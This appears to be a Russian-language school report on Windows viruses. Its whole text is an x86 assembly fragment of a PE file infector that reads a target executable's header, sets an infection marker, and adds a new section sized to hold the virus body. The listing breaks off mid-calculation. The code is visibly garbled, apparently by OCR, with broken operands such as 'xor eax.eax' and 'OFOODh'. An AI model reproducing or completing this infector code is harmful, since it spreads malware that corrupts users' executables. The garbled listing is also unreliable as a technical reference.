Доклад: Вирусы под Windows
lea eax, [ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
[Установим признак заражения
mov word ptr [ebp+offset peheader+4ch],OFOODh
[Найдем смещение таблицы объектов
xor eax.eax
mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax
[Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax.eax
mov ax,[ebp+offset numObj]
mov ecx.40
xor edx.edx
mul ecx
add esi.eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi.esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax, [edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx.dword ptr [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта
mov ecx.dword ptr [ebp+offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
.Вычислим виртуальный размер нового объекта
mov ecx.dword ptr [ebp+offset objalign]
mov eax.vend-vstart+tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
; Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx.dword ptr [ebp+offset filealign]
xor edx.edx
div ecx
inc eax